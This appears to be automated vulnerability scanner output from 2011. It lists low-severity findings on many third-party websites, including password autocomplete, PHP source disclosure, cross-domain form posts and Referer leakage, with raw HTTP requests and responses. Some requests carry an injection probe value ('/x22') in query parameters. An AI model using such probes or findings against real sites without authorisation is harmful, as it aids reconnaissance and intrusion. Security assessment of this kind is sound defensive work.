HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: datr=ygc3TU5VL1Ox0oSEuJwWmcZ4; expires=Fri, 18-Jan-2013 15:48:26 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=B8uaT; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 15:48:26 GMT Content-Length: 11541
The page contains a form with the following action URL:
http://www.local.com/results.aspx
The form contains the following password field with autocomplete enabled:
password
Request
GET /results.aspx HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The form contains the following password field with autocomplete enabled:
password
Request
GET /results.aspx?keyword=law+offices&CID=2531/x22 HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://www.political.cov.com/login.cfm
The form contains the following password field with autocomplete enabled:
password
Request
GET / HTTP/1.1 Host: www.political.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:55:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=18273037;expires=Fri, 11-Jan-2041 16:55:51 GMT;path=/ Set-Cookie: CFTOKEN=87095538;expires=Fri, 11-Jan-2041 16:55:51 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The form contains the following password field with autocomplete enabled:
aPassword
Request
GET /alumni/Index.cfm HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ALSITETOKEN=;expires=Tue, 19-Jan-2010 15:14:39 GMT;path=/ Set-Cookie: ALUSERTOKEN=;expires=Tue, 19-Jan-2010 15:14:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//Dtd Xhtml 1.0 Strict//EN" "http://w ...[SNIP]... <td align="left" valign="top"> <form method="post" action="alumni_authenticate.cfm" id="loginFrm">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Date ...[SNIP]... </div>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Date ...[SNIP]... </div>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Date ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.vault.com/wps/portal/usa/membership
The form contains the following password fields with autocomplete enabled:
UserPassword
UserConfirm
Request
GET /wps/portal/usa/rankings/individual HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </div>
The form contains the following password fields with autocomplete enabled:
password
UserConfirm
Request
GET /wps/portal/usa/rankings/individual HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </div>
The form contains the following password field with autocomplete enabled:
password
Request
GET /wps/portal/usa/rankings/individual HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </div>
The form contains the following password field with autocomplete enabled:
password
Request
GET /wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1&rankings=1®ionId=0/x22 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </div>
The form contains the following password fields with autocomplete enabled:
password
UserConfirm
Request
GET /wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1&rankings=1®ionId=0/x22 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </div>
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.
The application appears to disclose some server-side source code written in PHP.
Request
GET /eric/tools/css/reset/ HTTP/1.1 Host: meyerweb.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:41 GMT Server: Apache Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 8737
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"> <html> <head> <title>CSS Tools: Reset CSS</title> <meta http-equiv="Content-Type" content=" ...[SNIP]... </div><?php if (function_exists('_mw_lt_update')) _mw_lt_update(); ?>
The application appears to disclose some server-side source code written in PHP.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:26:37 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 92372
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <meta name="copyright" content="<?php echo AT_COPYRIGHT_TEXT ?>" /> ...[SNIP]...
The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
The page contains a form which POSTs data to the domain www.aweber.com. The form contains the following fields:
meta_web_form_id
meta_split_id
listname
redirect
meta_adtracking
meta_message
meta_required
meta_forward_vars
meta_tooltip
email
submit
Request
GET /2011/01/articles/legal-news-lexblogosphere/best-in-law-blogs-the-lexblog-network-january-5-2011/ HTTP/1.1 Host: kevin.lexblog.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:08 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Last-Modified: Tue, 18 Jan 2011 21:15:25 GMT Accept-Ranges: bytes Vary: Accept-Encoding Connection: close Content-Type: text/html Set-Cookie: SERVERID=i-3f76e457; path=/ Cache-control: private Content-Length: 134763
The page contains a form which POSTs data to the domain www.salesforce.com. The form contains the following fields:
oid
retURL
first_name
last_name
company
email
phone
submit
Request
GET /2011/01/articles/legal-news-lexblogosphere/best-in-law-blogs-the-lexblog-network-january-5-2011/ HTTP/1.1 Host: kevin.lexblog.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:08 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Last-Modified: Tue, 18 Jan 2011 21:15:25 GMT Accept-Ranges: bytes Vary: Accept-Encoding Connection: close Content-Type: text/html Set-Cookie: SERVERID=i-3f76e457; path=/ Cache-control: private Content-Length: 134763
The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:
cmd
submit
encrypted
Request
GET /sifr3 HTTP/1.1 Host: novemberborn.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:16 GMT Server: Apache Served-By: Joyent Last-Modified: Wed, 19 Jan 2011 14:30:57 GMT ETag: "2bd3-2606-49a33dd8845da" Accept-Ranges: bytes Content-Length: 9734 Cache-Control: max-age=300, must-revalidate Expires: Wed, 19 Jan 2011 15:30:16 GMT Vary: Accept-Encoding,Cookie Connection: close Content-Type: text/html; charset=UTF-8
The page contains a form which POSTs data to the domain www.cwwebs.net. The form contains the following fields:
Name
Phone
EmailContact
Comments
URL
EMAIL_TO
URL_THANKS
url2
B1
Request
GET / HTTP/1.1 Host: www.abelsonlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:26:35 GMT Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Content-Length: 30130 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQRDDQCB=CAAFBMLCGGNECIMMACCGLHLN; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Washington DC Personal Injury Attorneys / Car Crash Lawyers, Fatal Auto A ...[SNIP]... <div id="right_col2_inner">
The page contains a form which POSTs data to the domain links.mkt1259.com. The form contains the following fields:
EMAIL_REQUIRED
EMAIL_DATATYPE
EMAIL
submit
Request
GET /USA/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law HTTP/1.1 Host: www.csmonitor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.12 (Ubuntu) Content-Length: 80578 Content-Type: text/html; charset=utf-8 X-Powered-By: eZ Publish Content-Language: en-US Served-by: Pragma: Cache-Control: max-age=2959 Expires: Wed, 19 Jan 2011 16:37:01 GMT Date: Wed, 19 Jan 2011 15:47:42 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The page contains a form which POSTs data to the domain www.feedblitz.com. The form contains the following fields:
sub
EMAIL
PUBLISHER
submit
Request
GET /state/districtcolumbia.html HTTP/1.1 Host: www.romingerlegal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:54:04 GMT Server: Apache/1.3.41 Ben-SSL/1.59 (Unix) PHP/4.3.6 Connection: close Content-Type: text/html Content-Length: 36886
<HTML>
<HEAD> <!-- FASTCLICK.COM POP-UNDER CODE v1.8 for romingerlegal.com (12 hour) --> <script language="javascript"><!-- var dc=document; var date_ob=new Date(); d ...[SNIP]... </p> <form Method="POST" target='_newsub' action="http://www.feedblitz.com/f/f.fbz?AddNewUserDirect"> <p align="center"> ...[SNIP]...
The page contains a form which POSTs data to the domain visitor.constantcontact.com. The form contains the following fields:
m
p
ea
go
Request
GET / HTTP/1.1 Host: www.samakowlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Length: 33698 Content-Type: text/html Content-Location: http://www.samakowlaw.com/index.html Last-Modified: Fri, 07 Jan 2011 20:34:26 GMT Accept-Ranges: bytes ETag: "0f57546aaaecb1:fe1" Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Date: Wed, 19 Jan 2011 16:53:54 GMT Connection: close
The page contains a form which POSTs data to the domain visitor.constantcontact.com. The form contains the following fields:
ea
go
m
p
Request
GET / HTTP/1.1 Host: www.sheriabrams.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:54:16 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 48617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /adj/locm.sp;dcopt=ist;kw=law_offices;pos=;tile=;city=dallas_tx;sz=170x150;ord=1295459726173? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.local.com/dart/?ag=True&p=locm.sp&sz=170x150&ord=1295459726173&k=law+offices&l=Dallas%2c+TX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 19 Jan 2011 17:54:38 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 334
document.write('<a target="_top" href="http://ad.doubleclick.net/click;h=v8/3a94/0/0/%2a/r;230112748;0-0;0;49214666;1325-170/150;38652630/38670387/1;;~aopt=6/0/ff/1;~sscs=%3fhttp://www.local.com/events/"><img src="http://s0.2mdn.net/viewad/2791675/Consumer_Serp_170x150_events.jpg" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
<html><head><style type="text/css">body,td,div,span,p{font-family:arial,sans-serif;}a {color:#0000cc;}a:visited {color:#551a8b;}a:active {color:#ff0000;}body{margin: 0px;padding: 0px;background-color: ...[SNIP]... <td style="vertical-align:top;font-size:9pt;"> This is an new <a href="http://www.google.com/adwords/gadgetads/" target="_blank">gadget ad</a> ...[SNIP]... y have noticed that it shows airfare deals with flights from an airport near you to a destination matching the page content -- this uses the same technology used by AdWords for <a href="http://adwords.google.com/support/bin/answer.py?answer=6102" target="_blank">location targeting</a> ...[SNIP]...
The response contains the following links to other domains:
http://distopico.wordpress.com/
http://pubsubhubbub.appspot.com/
http://stats.wordpress.com/e-201103.js
http://superfeedr.com/hubbub
http://vatuma.com/
http://wordpress.org/
http://wp.me/DoG5
http://www.dotpeak.com/
http://www.techforce.com.br/
Request
GET /?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: blog.distopico.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:05:50 GMT Server: Apache/2.2.3 (CentOS) DAV/2 Phusion_Passenger/3.0.0 PHP/5.1.6 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 X-Powered-By: PHP/5.1.6 Last-Modified: Wed, 19 Jan 2011 18:02:28 GMT Vary: Cookie,Accept-Encoding,User-Agent Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: public Cache-Control: public, must-revalidate, proxy-revalidate Etag: e8739f7469239d09048ee8533315ef67 X-Pingback: http://blog.distopico.org/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 35014
<!DOCTYPE html><html dir="ltr" lang="en-US"><head><meta charset="UTF-8" /><link rel="stylesheet" href="http://blog.distopico.org/wp-content/themes/clear-line/style.css" type="text/css" media="screen" ...[SNIP]... <link rel='index' title='Dist..pico' href='http://blog.distopico.org/' /><link rel='shortlink' href='http://wp.me/DoG5' /><meta name="description" content="Blog de Edgard Arakaki sobre desenvolvimento e programa....o" /> ...[SNIP]... <link rel="canonical" href="http://blog.distopico.org/" /><link rel="hub" href="http://pubsubhubbub.appspot.com" /><link rel="hub" href="http://superfeedr.com/hubbub" /><style type="text/css"> ...[SNIP]... <li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress.org</a> ...[SNIP]... <li class="recentcomments"><a href='http://www.dotpeak.com' rel='external nofollow' class='url'>DP Web design</a> ...[SNIP]... <li class="recentcomments"><a href='http://www.techforce.com.br' rel='external nofollow' class='url'>Andre Felipe Machado</a> ...[SNIP]... <li class="recentcomments"><a href='http://distopico.wordpress.com' rel='external nofollow' class='url'>Edgard</a> ...[SNIP]... </b> powered by <a href="http://wordpress.org">WordPress</a> and <a href="http://vatuma.com/">The Clear Line Theme</a> ...[SNIP]... </div> <script src="http://stats.wordpress.com/e-201103.js" type="text/javascript"></script> ...[SNIP]...
GET /search?vc=&p=empreendedorismo+brasil+yahoo&toggle=1&cop=mss&ei=UTF-8&fr=yfp-t-707 HTTP/1.1 Host: br.search.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:05:56 GMT Set-Cookie: B=2tu1pj16jea04&b=3&s=3m; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Set-Cookie: sSN=PluLBVU2wWFkQiXi8knQSfQTma.AhXOlWTCD0If8GxkhL7AuwRort4FyHaF395BQL2mkJ3mIN9B3UBgfftj1.A--; path=/; domain=.search.yahoo.com Cache-Control: private Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 42868
The response contains the following links to other domains:
http://feeds2.feedburner.com/smallacts
http://www.twitter.com/caike
Request
GET /?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: caikesouza.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
http://twitter.com/home?status=Deal has a busy first day as governor http://chronicle.augusta.com//latest-news/2011-01-10/deal-has-busy-first-day-governor
http://www.facebook.com/share.php?u=http://chronicle.augusta.com//latest-news/2011-01-10/deal-has-busy-first-day-governor&t=Deal has a busy first day as governor
GET /latest-news/2011-01-10/deal-has-busy-first-day-governor?v=1294685681 HTTP/1.1 Host: chronicle.augusta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:06:17 GMT Server: Apache X-Powered-By: PHP/5.2.6 X-Drupal-Cache: MISS Expires: Wed, 19 Jan 2011 18:11:17 GMT Last-Modified: Wed, 19 Jan 2011 18:06:17 +0000 Cache-Control: must-revalidate, max-age=0, s-maxage=300 ETag: "1295460377" Content-Type: text/html; charset=utf-8 X-Cache: MISS from sms4.morris.com X-Cache-Lookup: MISS from sms4.morris.com:3128 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <head> < ...[SNIP]... </a> | <a href="//help/signup" title="Why sign up?">Why sign up?</a> ...[SNIP]... <li class="leaf"><a href="http://augustashopping.com/">Shopping</a> ...[SNIP]... <li class="leaf"><a href="http://ap.augustachronicle.com/pstories/">U.S. & world</a> ...[SNIP]... <li class="leaf last"><a href="http://www.legacy.com/obituaries/augustachronicle/">Obits</a> ...[SNIP]... <li class="leaf"><a href="http://ap.augustachronicle.com/pstories/business/">Business Wire</a> ...[SNIP]... <li class="leaf"><a href="http://www.legacy.com/augustachronicle/celebrations.asp">Weddings & engagements</a> ...[SNIP]... <li class="leaf last"><a href="http://ap.augustachronicle.com/pstories/technology/">Tech Wire</a> ...[SNIP]... <li class="leaf"><a href="http://ap.augustachronicle.com/pstories/entertainment/">Entertainment</a> ...[SNIP]... <li class="leaf last"><a href="http://tv.yahoo.com/listings">TV Listings</a> ...[SNIP]... <li class="leaf"><a href="http://augustaarchives.com">AugustaArchives.com</a> ...[SNIP]... <li class="expanded"><a href="http://augustajobs.com" class="after-pike">Jobs</a> ...[SNIP]... <li class="leaf first"><a href="http://hotjobs.yahoo.com/salary;_ylc=X3oDMTE4bms4cm4wBF9TAzM5NjUxMTI1MQRwYXJ0bmVyA2F1Z3VzdGEEc3JjA2NvbnNvbGU-?partner=augusta ">Salary calculator</a> ...[SNIP]... <li class="leaf"><a href="http://hotjobs.yahoo.com/create-resume;_ylc=X3oDMTE4bms4cm4wBF9TAzM5NjUxMTI1MQRwYXJ0bmVyA2F1Z3VzdGEEc3JjA2NvbnNvbGU-?partner=augusta">Post your resume</a> ...[SNIP]... <li class="leaf"><a href="http://us.lrd.yahoo.com/_ylt=AhG0w.kB9M6S9kD0fHniyIXDRaIX/SIG=13niv28hr/**http%3A//selfcare.hotjobs.yahoo.com/ss/php/hjss_partners.php%3Fshowhiring=true%26P=augusta%26refsrc=hjhp%26refent=hs">Employer services</a> ...[SNIP]... <li class="leaf"><a href="http://hotjobs.yahoo.com/careertools?partner=augusta">Career tools</a> ...[SNIP]... <li class="leaf"><a href="http://hiring.hotjobs.yahoo.com/ss/php/hjss_partners.php?P=augusta&dest_page=CSB">Search resumes</a> ...[SNIP]... <li class="leaf"><a href="http://www.augustajobs.com/index.shtml#yahoo-search-box">Find a job</a> ...[SNIP]... <li class="leaf last"><a href="http://hotjobs.yahoo.com/jobs-k-Nurse-c-Healthcare">Hot category: Nurses</a> ...[SNIP]... <li class="expanded"><a href="http://augustarealestate.com/" class="wl-classifieds">Homes</a> ...[SNIP]... <li class="leaf first"><a href="http://secure.adpay.com/adwizard_login.aspx?a=6771432F654F2B644D3363397764757A536B547238793748433642797065414272565377674153723844466D67487650332B772F31756D576A654F436545686A&catid=Real%20Estate%20Sales">Sell a home</a> ...[SNIP]... <li class="leaf"><a href="http://www.csraapartmentfinder.com/">Apartments</a> ...[SNIP]... <li class="expanded"><a href="http://augustaautos.com/" class="wl-classifieds">Autos</a> ...[SNIP]... <li class="leaf first"><a href="http://secure.adpay.com/searchresults.aspx?p=2150&&region=2150&catid=Pets%20and%20Animals">Pets</a></li> <li class="leaf"><a href="http://secure.adpay.com/searchresults.aspx?p=2150&&region=2150&catid=0630">Lost a dog or cat?</a> ...[SNIP]... <li class="leaf"><a href="http://secure.adpay.com/searchresults.aspx?p=2150&&region=2150&catid=Garage%20Sales">Garage sales</a> ...[SNIP]... <li class="leaf"><a href="http://www.legalnotice.org/pl/augustachronicle/landing1.aspx">Legal notices</a> ...[SNIP]... <li class="leaf"><a href="http://augustarealestate.com/">Real estate</a> ...[SNIP]... <li class="leaf"><a href="http://hiring.hotjobs.yahoo.com/ss/php/ss-show-prices.php?State=GA&Metro=600&refsrc=hjhp&refent=jp-sl">Post a job</a> ...[SNIP]... <li class="leaf"><a href="http://secure.adpay.com/adwizard_login.aspx?a=6771432F654F2B644D3363397764757A536B547238793748433642797065414272565377674153723844466D67487650332B772F31756D576A654F436545686A">Sell your car</a> ...[SNIP]... <li class="wl-utility-item-4 icon-yahoo-buzz"><script type="text/javascript" src="http://d.yimg.com/ds/badge2.js" badgetype="logo">ARTICLEURL</script> ...[SNIP]... <li class="wl-utility-item-2 icon-twitter"><a href="http://twitter.com/home?status=Deal has a busy first day as governor http://chronicle.augusta.com//latest-news/2011-01-10/deal-has-busy-first-day-governor" class="perm">  </a> ...[SNIP]... <li class="wl-utility-item-2 icon-facebook"><a href="http://www.facebook.com/share.php?u=http://chronicle.augusta.com//latest-news/2011-01-10/deal-has-busy-first-day-governor&t=Deal has a busy first day as governor" class="perm">  </a> ...[SNIP]... <li class="wl-utility-item-4 addthis"><a class="addthis_button" href="http://www.addthis.com/bookmark.php?v=250&pub=xa-4b04a73174aac51b" onmouseover="return addthis_open(this, '', '[URL]', '[TITLE]')" onmouseout="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/static/btn/sm-share-en.gif" width="83" height="16" alt="Bookmark and Share" style="border:0"/></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pub=xa-4b04a73174aac51b"></script> ...[SNIP]... <div class="section "><a href="http://augustajobs.com/">Top Jobs »</a> ...[SNIP]... <div class="footer-pubs-logo last"><a href="http://www.augustaga.org/"><img src="http://static.augusta.com/site/chronicle/images/msms/logo-cvb.gif" alt="Augusta, GA Convention and Visitors Bureau" height="40" /> ...[SNIP]...
GET /latest-news/2011-01-13/deal-names-2-judicial-panel?v=1294908542 HTTP/1.1 Host: chronicle.augusta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:06:15 GMT Server: Apache X-Powered-By: PHP/5.2.6 X-Drupal-Cache: MISS Expires: Wed, 19 Jan 2011 18:11:15 GMT Last-Modified: Wed, 19 Jan 2011 18:06:15 +0000 Cache-Control: must-revalidate, max-age=0, s-maxage=300 ETag: "1295460375" Content-Type: text/html; charset=utf-8 X-Cache: MISS from sms4.morris.com X-Cache-Lookup: MISS from sms4.morris.com:3128 Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://pix04.revsci.net/D08734/a1/0/0/0.gif?D=DM_LOC%3Dhttp%253A%252F%252Fgoogle.com%252F0.gif%253Fid%253DCAESEFlfd-sZ8CX6_Cz86QSvO_0&cver=1">here</A> ...[SNIP]...
GET /?utm_campaign=blogwatch&utm_source=rafael.adm.br&utm_medium=banner&utm_term=sidebar-empresas_negocios_parceiros HTTP/1.1 Host: cobregratis.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK SynthaSite-ID: hs1 (127.0.10.4) X-Powered-By: PHP/5.2.4-2ubuntu5.7 Content-type: text/html; charset=utf-8 Last-Modified: Mon, 03 Jan 2011 03:08:06 GMT Etag: 45e66d038f0ae5e1cc52f9b82bdd5463 Cache-Control: public, max-age=0 Server: lighttpd/1.5.0 X-Varnish: 535302748 Via: 1.1 varnish Content-Length: 20676 Date: Wed, 19 Jan 2011 18:06:35 GMT X-Varnish: 128321285 Age: 0 Via: 1.1 varnish Connection: close X-Cache: MISS
